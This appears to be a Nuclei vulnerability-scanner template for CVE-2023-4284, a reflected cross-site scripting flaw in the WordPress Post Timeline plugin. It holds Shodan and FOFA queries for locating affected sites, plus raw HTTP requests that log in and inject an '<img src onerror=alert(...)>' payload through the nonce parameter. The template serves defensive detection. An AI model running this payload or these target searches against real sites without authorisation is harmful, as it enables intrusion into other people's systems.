CVE-2023-4284: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting

id: CVE-2023-4284

info:
  name: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Post Timeline WordPress plugin before version 2.2.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape an invalid nonce before outputting it back in an AJAX response, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  reference:
    - https://wpscan.com/vulnerability/1c126869-0afa-456f-94cc-10334964e5f9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2023-4284
    cwe-id: CWE-79
    epss-score: 0.07924
    epss-percentile: 0.91711
    cpe: cpe:2.3:a:agilelogix:post_timeline:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: agilelogix
    product: post-timeline
    shodan-query: http.html:"wp-content/plugins/post-timeline/"
    fofa-query: body="wp-content/plugins/post-timeline/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,post-timeline,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'post-timeline'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c03ac8cbc9a37695b7a1a7af923999bb26f9e24931b6674dcc74677cb2d128e7022064694fe282f2a6274537c11f37e35ed67a58133fff7413afe184562a3557f8c8:922c64590222798bb761d5b6d8e72950